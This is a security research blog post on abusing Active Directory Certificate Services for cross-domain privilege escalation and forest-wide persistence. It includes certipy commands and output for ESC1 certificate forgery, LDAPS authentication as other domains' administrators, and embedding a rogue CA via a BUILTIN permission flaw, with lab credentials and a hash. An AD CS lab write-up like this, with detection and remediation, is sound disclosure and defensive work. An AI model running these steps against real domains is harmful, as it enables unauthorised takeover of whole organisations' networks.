Skip to main content

In the last few years, after the SpecterOps Whitepaper on Active Directory Certificate Services (AD CS), there has been a significant surge in leveraging AD CS for privilege escalation in Active Directory domains. On our own client engagements at MWR, we have leveraged this service on almost every red team engagement since mid-2021 for persistence and privilege escalation.

This has continued the common trend where, instead of directly attacking Active Directory itself, red teamers and malicious actors leverage one of the many common side-services used along with AD as a key compromise vector. As another example, last year Chris, MWR’s Chief Research Officer, presented on SCCM, another side-service that can be leveraged to this effect.

Often, these side-services have not received the same level of scrutiny as the primary service of AD, meaning there are still many opportunities for misconfigurations or unintended consequences that increase the attack surface of an organisation. This becomes even more prevalent as the teams that configure these side-services often are not as security-aware as the main AD team, leading to misconfigurations and not considering the full impact that the service has on the broader authentication infrastructure.

In this post, we cover another one of these unintended consequences that we discovered and investigate how it changes the possible attack surface for cross-domain attacks. Taking it a step further, we also talk about a new vulnerability that we discovered in AD CS and how it could be exploited to escalate privileges from Domain Admin (DA) to Enterprise Admin (EA) and persist forest-wide! If you are looking to jump directly into the tooling, you can take a look here.

A brief look at AD CS

Active Directory Certificate Services is Microsoft’s Public Key Infrastructure (PKI) implementation. PKI is commonly used to create certificates to encrypt web server traffic, but also has several other important use cases as well. While an external trusted Certificate Authority (CA) has to be used to create a certificate for services exposed on the internet, internal services, that cannot make use of an external CA, also require encryption.

This is where AD CS comes into play. Microsoft allows organisations to create their own internal trusted CA, integrated with Active Directory, that can be used to issue certificates internally in the organisation for several different use cases.

To cater for these various use cases, AD CS allows organisations to configure customised certificate templates. A certificate template contains a predefined configuration on how the certificate can be enrolled and what uses the certificate can serve. Furthermore, it also details what AD objects have the relevant permissions to enroll this certificate. Based on this configuration, employees can interact with the AD CS service by sending a certificate signing request and AD CS creating and issuing the relevant certificate.

Privilege Escalation and Persistence Through Certificates

The SpecterOps Whitepaper details several misconfigurations in the AD CS service that can be exploited by an adversary to perform privilege escalation within the domain. For full information on these attacks, please refer to the whitepaper. However, for this post we will only take a look at four key elements.

ESC1

ESC1 is the simplest escalation vector. For this escalation path, the following conditions must hold true:

  • A certificate template must be misconfigured such that:
    • The user is able to specify the Subject Alternative Name (SAN)
    • The certificate has the “Client Authentication” Extended Key Usage (EKU)
    • The enrollment process does not require manager approval before the certificate is issued
  • The adversary must have the required permissions to enroll the misconfigured certificate template. If manager approval in required, the attack would only be successful if the certificate request was approved.

If these conditions are met, an adversary could leverage this template by manipulating the SAN to refer to the User Principal Name (UPN) for a privileged account in Active Directory, instead of the legitimate low-privilege user’s UPN. If the issued certificate is then used for client authentication, instead of being authenticated as the low-privileged user, the adversary is authenticated as the privileged account specified in the certificate. Depending on the severity of the enrollment rights misconfiguration, this could, for example, allow a user of the Domain Users group to directly escalate their privileges to that of a user in the Domain Admins group, which would essentially compromise the entire domain in a single attack hop.

No Misconfigured Certificate, No Problem

In certain cases, one may find that the organisation has secured their templates to ensure that none of the templates are vulnerable. However, it is often the case that non-”Domain Admin” users have modification rights over certain certificate templates. In these cases, the adversary can follow the attack path of compromising these user accounts (usually by using some form of credential harvesting and lateral movement) and then simply modifying the certificate template to make it vulnerable. Once the template is vulnerable, the adversary can follow the ESC1 attack path provided above.

Authentication with Certificates

Once an adversary acquires one of these privilege escalation certificates, authentication is required to leverage it. The most common method to leverage this certificate is to authenticate to a domain controller that supports PKINIT. This will provide the adversary with a Kerberos ticket associated with the account specified in the certificate.

However, what if there is no domain controller that supports PKINIT, or you wish to authenticate to a specific host that does not support it? Fear not, authentication is still possible using LDAPS and Schannel authentication. Any system that has the CA’s root certificate imported as a trusted CA will allow for this authentication type, which is default for all domain joined machines. While the main protocol that we know about that supports Schannel authentication is LDAPS, primarily restricting exploitation to this service running on domain controllers, it can be potentially integrated with any applications that make use of certificate-based authentication.

Persistence with Certificates

Certificates have already changed the persistence game forever. Conventional Blue Team logic (in almost all playbooks) states that if an account is compromised, the credentials associated with that account have to be rotated. While this is correct, the issue is that certificates skip this authentication type. Meaning that even if the password is altered, unless the certificate is revoked, an adversary will still have persistent access to the compromised account. In most cases this access would persist for several years, as certificates are often valid for anywhere from 2 – 10 years.

This becomes an even larger problem if the adversary has the ability to compromise the root CA certificate, as this can allow them to create golden certificates offline that cannot be revoked. To recover from such an attack, the only option available to the organisation is to effectively rotate the root CA, invalidating every single certificate issued for the organisation.

The Forest that is AD

Now that we have provided the baseline of information for AD CS and the common attack vectors it enables against AD, let’s discuss domain forests. A forest, simply put, is a cluster of domains that trust each other. Trust, in this context, means that a domain is able to recognise and correctly process authentication material for users (or security principals) that exist in a trusted domain. The most common configuration is a parent-child forest, as shown in the image below.

The parent domain, MWR.LOC, has bidirectional trust with both child domains, ZA.MWR.LOC and EU.MWR.LOC and exists in the same forest. As such, there is also a transitive trust relationship between the ZA and EU domains. These kinds of trusts are known as “parent-child trusts”.

The THM.LOC domain is outside of the MWR.LOC forest; however, it is still possible to create a bidirectional trust link between these two domains. This kind of trust is known as a “forest trust” and is subject to further security filtering controls as compared to a parent-child trust. One example of this can be seen in the SID Filtering rules applied to forest trusts.

To continue with this example, let’s say that the ZA division is looking to install AD CS. For this installation, the team will have one of two options:

  • Standalone PKI: A standalone PKI means that the public key infrastructure isn’t directly connected to AD. Essentially, an isolated PKI is created. To then use this instance, new policies have to be created to link the PKI instance to AD and allow users and computers in the domain to trust and use the CA. As we will discuss later, this is the more secure method for this specific use case, assuming correct configuration.
  • Enterprise PKI: This is the more conventional way of configuring AD CS. This will link the PKI to AD, meaning it will automatically update the enrollment policies of the domain to allow all computers and users to both trust the CA and allow them to enroll for certificates.

It is interesting then, that when choosing the Enterprise PKI option, you are prompted with the following:

If we only want to use this CA in the ZA domain, why do we then need EA rights for this installation? Turns out that AD CS in Enterprise CA (ECA) mode should always be seen as an Enterprise-level service.

While you might think that you are installing this CA for the ZA domain, automatically, you are installing this CA for the whole forest! Even though you might have meant for this CA to only work in the ZA domain, by choosing the Enterprise CA mode, it automatically updates the forest-level CA enrolment policy. What this means is, both the other child domain (EU) and the parent domain (MWR) will now trust this CA. To verify this, once the Group Policy objects are automatically updated in these domains, you will notice that the domain controllers have automatically enrolled for a Domain Controller certificate and now trust the CA’s root certificate, as shown in the images below:

This will become important when we talk about attacks later on.

Conventional Forest Compromises

In this example, let’s say that we are executing a red team engagement with the starting point being in the ZA.MWR.LOC domain. Our goal is to determine the impact of this compromise.

If we fully compromise the ZA domain, conventional thinking is to make use of Kerberos to then compromise the parent domain through a golden ticket or equivalent attack. To perform this attack, we would have to execute the following steps:

  1. Gain the ability to recover credential material from a domain controller. This can be performed by either compromising a domain controller or gaining access to an AD account with “DC Sync” rights.
  2. Leveraging this access, we have to dump the NTLM hash or AES Kerberos keys associated with the KRBTGT account.
  3. Using a tool such as mimikatz or Rubeus, we have to generate a golden ticket that, while trusted within the ZA domain, now also has privileges in the MWR domain through abuse of the SIDHistory mechanism to add MWR SIDs to the ticket.
  4. Using this ticket, we can now authenticate to the parent domain to fully compromise it, becoming an Enterprise Admin (EA).
  5. We can then leverage these EA rights to gain full control over the EU domain and start to attempt to compromise the THM domain through the bidirectional trust that is configured.

While this is a tried and tested path to compromising the entire forest, the issue is that the techniques leveraged here have been well documented and detection for their use has become much more available and automated. Meaning that if we follow this path, there is a good chance that our actions will be detected, alerting the blue team.

It should be noted that there have been advancements here. Instead of making use of golden tickets, tools such as Rubeus allow for the generation of Diamond or even Sapphire tickets. These tickets attempt to replicate more of the initial Kerberos authentication process, thus reducing the overall number of detection points available to the blue team and their tooling.

However, even with these updates in attacker techniques, detections can still be made for forged Kerberos tickets. Being able to leverage some alternative means of lateral movement within the forest, through the use of native AD CS functionality, would thus be advantageous.

The Initial AD CS Compromise

Let’s say that ZA did in fact decide to install AD CS and create a new Enterprise CA. Let’s use the tools of the trade (certipy) during our fictitious red team to enumerate the available certificate templates:

ubuntu@ip-172-32-9-248:~$ certipy find -u [email protected] -p Password1! -target-ip 172.32.9.101
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for ‘za-CHILDDC-ZA-CA’ via CSRA
[!] Got error while trying to get CA configuration for ‘za-CHILDDC-ZA-CA’ via CSRA: CASessionError: code: 0x80070005 – E_ACCESSDENIED – General access denied error.
[*] Trying to get CA configuration for ‘za-CHILDDC-ZA-CA’ via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again…
[*] Got CA configuration for ‘za-CHILDDC-ZA-CA’
[*] Saved BloodHound data to ‘20231128091226_Certipy.zip’. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to ‘20231128091226_Certipy.txt’
[*] Saved JSON output to ‘20231128091226_Certipy.json’

Investigating the output, it seems that we have a vulnerable certificate template:

Certificate Templates
0
Template Name : WebServerVulnerable
Display Name : Web Server Vulnerable
Certificate Authorities : za-CHILDDC-ZA-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : 16777216
65536
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : ZA.MWR.LOC\Domain Users
ZA.MWR.LOC\Domain Computers
S-1-5-21-299702375-3972645472-3011007922-512
S-1-5-21-299702375-3972645472-3011007922-519
ZA.MWR.LOC\Authenticated Users
[!] Vulnerabilities
ESC1 : ‘ZA.MWR.LOC\\Domain Users’, ‘ZA.MWR.LOC\\Domain Computers’ and ‘ZA.MWR.LOC\\Authenticated Users’ can enroll, enrollee supplies subject and template allows client authentication

Any authenticated AD user has the ability to request the “WebServerVulnerable” certificate, which is vulnerable to ESC1. We can then use certipy again to request this certificate:

ubuntu@ip-172-32-9-248:~$ certipy req -u [email protected] -p Password1! -target-ip 172.32.9.101 -template WebServerVulnerable -ca za-CHILDDC-ZA-CA -upn ‘[email protected]
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 44
[*] Got certificate with UPN ‘[email protected]
[*] Certificate has no object SID
[*] Saved certificate and private key to ‘administrator.pfx’

Next, we can use this certificate to authenticate to the child domain controller as the Administrator user:

ubuntu@ip-172-32-9-248:~$ certipy auth -pfx administrator.pfx -dc-ip 172.32.9.101
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT…
[*] Got TGT
[*] Saved credential cache to ‘administrator.ccache’
[*] Trying to retrieve NT hash for ‘administrator’
[*] Got hash for ‘[email protected]’: aad3b435b51404eeaad3b435b51404ee:aeda8b62fd15a38022aaeffd6757c677

From a detection perspective, while this attack will look slightly different, it will at this point have some of the same detections as a certificate being used to request a Kerberos ticket for the Administrator user through PKINIT. However, it is worth noting that we are not forced to follow this route, as we can authenticate to LDAPS using Schannel authentication.

Compromising the Parent

Our goal is not simply just the ZA domain, but to take over the entire forest. Fortunately for us, AD CS is an enterprise service. So, this should be simple right? Well, there might be a complication or two. Let’s take a look at the error message we get after trying to authenticate using a forged certificate for the Administrator user of the MWR.LOC parent domain:

ubuntu@ip-172-32-9-248:~$ certipy req -u [email protected] -p Password1! -target-ip 172.32.9.101 -templat WebServerVulnerable -ca za-CHILDDC-ZA-CA -upn ‘[email protected]
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[!] Failed to resolve: ZA.MWR.LOC
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 45
[*] Got certificate with UPN ‘[email protected]
[*] Certificate has no object SID
[*] Saved certificate and private key to ‘administrator.pfx’

ubuntu@ip-172-32-9-248:~$ certipy auth -pfx administrator.pfx -dc-ip 172.32.9.100
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT…
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

The resultant error message that was generated was “KDC has no support for padata type”. A bit of investigation will quickly point us to how certificates are converted to Kerberos tickets. For this to occur, the domain controller that we want to authenticate to must have enrolled and be using a certificate that supports the KDC Authentication EKU, which does not happen by default. So, while our certificate is trusted, as can be seen by us not having any trust issues when attempting authentication, the domain controller simply does not allow PKINIT. However, this should not deter us; when we instead authenticate to the domain controller through LDAPS, we see the following:

ubuntu@ip-172-32-9-248:~$ certipy auth -pfx administrator.pfx -dc-ip 172.32.9.100 -ldap-shell
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[*] Connecting to ‘ldaps://172.32.9.100:636’
[*] Authenticated to ‘172.32.9.100’ as: u:MWR\Administrator
Type help for list of commands

#

It works! We have successfully authenticated to LDAP on the root domain as Enterprise Administrator. But, this then makes us wonder, why does it work? Regardless of whether a) AD CS was respected as an ECA and only installed (and managed) in the parent forest or b) whether it was installed in a child domain, to ensure that the ECA is trusted, Microsoft does two things automatically.

The first, which is expected behaviour, is that Microsoft will distribute the ECA’s public key as a trusted root certificate to all devices in the forest. This is to ensure that all certificates that are signed by the ECA are trusted by all devices. And since it is an Enterprise level service, it makes sense that this is pushed forest wide.

However, there is a secondary automated action that happens, the implications of which may be potentially overlooked. Once AD CS has configured an ECA, by default, all domain controllers forest wide will enrol for a Domain Controller certificate signed by the ECA:

The key word here is “forest wide”, regardless of where the ECA was created. Even if you delete this certificate from the domain controller’s certificate store, a new one will be requested when group policy updates on the domain controller and herein lies the key.

The Domain Controller certificate template allows for the Client Authentication EKU, which permits use for authentication, just not PKINIT, which instead relies on the “KDC Authentication” EKU (that is present in the Kerberos Authentication certificate template). Therefore, by default, we are still able to authenticate to a domain controller in a different domain in the forest using a forged certificate, as long as we don’t need to use PKINIT to do it.

Let the Children Play

Now we can see the first interesting aspect of this behaviour. If every domain controller in the forest is enrolled for a Domain Controller certificate, then do we even need to first compromise the parent domain to move to other child domains? The short answer is no. At this point, there is no reason to compromise the parent. We can simply authenticate directly to any domain controller in any of the other child domains, as shown below:

ubuntu@ip-172-32-9-248:~$ certipy req -u [email protected] -p Password1! -target-ip 172.32.9.101 -template WebServerVulnerable -ca za-CHILDDC-ZA-CA -upn ‘[email protected]
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[!] Failed to resolve: ZA.MWR.LOC
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 46
[*] Got certificate with UPN ‘[email protected]
[*] Certificate has no object SID
[*] Saved certificate and private key to ‘administrator.pfx’

ubuntu@ip-172-32-9-248:~$ certipy auth -pfx administrator.pfx -dc-ip 172.32.9.102
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT…
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

ubuntu@ip-172-32-9-248:~$ certipy auth -pfx administrator.pfx -dc-ip 172.32.9.102 -ldap-shell
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[*] Connecting to ‘ldaps://172.32.9.102:636’
[*] Authenticated to ‘172.32.9.102’ as: u:EU\Administrator
Type help for list of commands

#

This is where the detections and alerts start to look a little bit different from a traditional parent-child domain compromise. While other techniques exist to directly move to other child domains, there is some novelty behind completely disregarding a compromise of the parent domain and directly gaining full access over a different child domain.

At this point, what has become apparent, is how dangerous the compromise of Enterprise-level services can be. Given the control that they have over a forest’s configuration, these services should not be used in child domains but must be configured and controlled in the parent domain. It should also be acknowledged that, in the absence of very careful configuration, the administrators of such services will likely always have a path to gain full control of the forest’s Active Directory, even if they are not domain administrators themselves in their own child domains.

For AD CS specifically, we have now seen that if any account, in any child domain, can either modify critical settings on the ECA or its certificate templates, that account can obtain Enterprise Admin permissions; and we have only just started diving into this rabbit hole.

An installation misconfiguration

After realising this interesting issue, we decided to dive a bit deeper into trying to understand how this configuration works. When AD CS is configured, it uses the supplied Enterprise Admin account to generate and configure several new Configuration containers. Specifically, under the CN=Public Key Services, CN=Services, CN=Configuration, DC=MWR, DC=LOC location. It is in this location that the PKI configuration is deployed to and, includes (but is not limited to), the following:

  • Certificate templates: All of the initial templates that can be configured for certificates
  • Certificate Authority: The new CA is registered here as an ECA
  • NTAuthCertificates: The new CA’s public certificate is also added here as an ECA allowed to perform authentication

However, in our initial investigation, when we installed the ECA in the parent domain (as recommended), we encountered an interesting misconfiguration. Remember that the Configuration container only exists in the parent domain. Each domain controller in the forest keeps a local copy that is synchronised to the domain controller(s) in the parent domain. Why were we then seeing the following when viewing the permissions for the exact same NTAuthCertificates container from two different domain controllers? Can you spot the difference?

When viewing the container from the child domain controller, it is the ZA group that has full control. When viewing the container from the parent domain controller, it is the MWR group that has full control.

Upon further investigation, the culprit access control entry (ACE) is found:

What seems to happen here is that the term BUILTIN is interpreted differently based on the specific domain controller that we are working on. So, if we are in the child domain, BUILTIN is translated to the child domain, and in the parent domain it would obviously translate to its own domain. Now, if we believe that AD CS is an Enterprise-level service, would this be considered privilege escalation? Since even if we ensured that we only manage our ECA from the parent domain, for some reason, all child domains still have full control over certain elements of the ECA.

Furthermore, it turns out that this seems to happen for all containers configured for AD CS, including the certificate authority. This means that we have the ability to modify the ECA from any child domain.

Weaponisation

All of these permissions are well and good, but for them to actually mean something for a red teamer we have to be able to weaponise them. If we have edit rights on these containers, then nothing should stop us from embedding our very own CA.

Our first idea was to simply add our CA to the NTAuthCertificates container. Then, according to Microsoft documentation, our CA will be allowed to authenticate users. While we were able to add our CA, authentication did not work, even for LDAPS:

ubuntu@ip-172-32-9-248:~/ca_test$ certipy auth -pfx administrator_forged.pfx -dc-ip 172.32.9.200
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT…
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERROR_CLIENT_NOT_TRUSTED(Reserved for PKINIT)

ubuntu@ip-172-32-9-248:~/ca_test$ certipy auth -pfx administrator_forged.pfx -dc-ip 172.32.9.200 -ldap-shell
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[*] Connecting to ‘ldaps://172.32.9.200:636’
[*] Authenticated to ‘172.32.9.200’ as: None
[-] Got error: ‘NoneType’ object has no attribute ‘other’
[-] Use -debug to print a stacktrace

This is where the wording matters. Allowed is not the same as trusted. While our CA is allowed to authenticate users, that does not mean it is trusted. Hence, we need to find a way to have the forest trust our CA. Well, can’t we just add our CA’s certificate to the Certificate Authority container that was created for the ECA? It turns out that exploitation really is that simple. Once the key is added (by abusing our BUILTIN write permissions), our new certificate is propagated as a trusted root CA forest wide:

Now that our CA is both allowed and trusted to authenticate users, we have a golden CA that can forge any certificate which will be trusted forest-wide:

ubuntu@ip-172-32-9-248:~/ca_test$ certipy auth -pfx administrator_forged.pfx -dc-ip 172.32.9.200 -ldap-shell
Certipy v4.8.2 – by Oliver Lyak (ly4k)

[*] Connecting to ‘ldaps://172.32.9.200:636’
[*] Authenticated to ‘172.32.9.200’ as: u:MWR\Administrator
Type help for list of commands

#

A caveat to remember is that, in most cases, you will have to still first compromise one of the child domains, and gain access to the Administrators group of that domain, to be able to perform this attack. However, further misconfigurations have been seen before where lower privileged accounts were granted edit rights over these containers. The same interesting behaviour will apply for your forged CA; you do not have to target the parent domain but can directly target other child domains when attempting to authenticate.

To take it a step further, we decided to create a tool to assist with the weaponisation of this vulnerability. Once you have generated your CA, this tool can be used to embed your CA in the CN=Public Key Services, CN=Services, CN=Configuration container.

Microsoft’s Response

When the issue was reported to Microsoft, they responded with a familiar answer:

“The security boundary sits at the forest.”

This translates into, privileged access in a child domain is privileged access forest wide; the same reason why cross-domain golden ticket attacks are still a thing. While the response can be understood, with how easy the fix for this is, it is tough to swallow.

Detection and Remediation

The same weaponised tooling can be used to detect whether your AD CS installation is vulnerable to this misconfiguration and if you choose so, can automatically remediate it for you. All the tool is doing is enumerating the containers that were created when AD CS was configured and reviewing if the BUILTIN ACE still exists. If it does, you can use the Remedy command to remove this permission:

It is also worth noting that the BUILTIN Administrators group in most domains should probably be left as empty as possible. New groups should ideally be created for the management of AD CS and other privileged enterprise services. Thus, the removal of the BUILTIN ACE should not have any real business impact.

Furthermore, if our tooling is used to weaponise the misconfiguration, detections can be applied for new certificate entries made to both the CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration container and the first CA container in the CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration container. If you use this tooling on a red team, these would also be the two containers that would require cleanup afterwards.

Conclusion

AD CS attacks have greatly expanded the attack surface of organisations over the past couple of years. From our perspective during red team projects, compromising AD can feel like a perilous mountain climb – happening during a snowstorm generated by the blue team who, naturally, are trying to make it as difficult as possible. In this kind of environment, if someone hands you a teleport scroll to get to the top, you are going to use it!

While there are recommendations on good practice, such as keeping a root CA offline after creating subordinate CAs, none of this really changes the main rule that AD CS is an enterprise level service and should be treated – and protected – as such.

In large organisations, this is easier said than done when each geographical region has their own child domain and their own PKI needs. But this is something we need to live with. We need to be incredibly careful when providing any permissions for AD CS to accounts that sit in child domains. If we do grant them AD CS permission, for even just the modification of a single template, we have made those specific accounts effective Enterprise Admins and they should receive the same protections that we would apply to our original EA accounts.

Furthermore, even if we do everything correctly, the default configuration of AD CS will still leave your organisation vulnerable to privilege escalation and forest-wide persistence attacks if a single child domain gets compromised. Microsoft says that this is intended behaviour, but since closing down this specific attack vector can be done with a fix as simple as revoking a single BUILTIN ACE, we can, and we must do better.

Lastly, while we found this misconfiguration within containers that are leveraged by AD CS, there is a concern that this issue might be more widespread than what has been discovered so far – due to the confusion that seems to exist when BUILTIN is specified. There may well be other containers, some potentially even more sensitive, where the BUILTIN ACE could lead to a forest-wide compromise.

Acknowledgements

  • Oliver Lyak for Certipy
  • SpecterOps for their research on AD CS
  • Alh4zr3d for finding the initial cross-child-domain lateral movement during his stream
  • TryHackme for allowing me to build massive networks to play around with
  • Chris Panayi for assistance with discovery of the root cause and weaponisation

References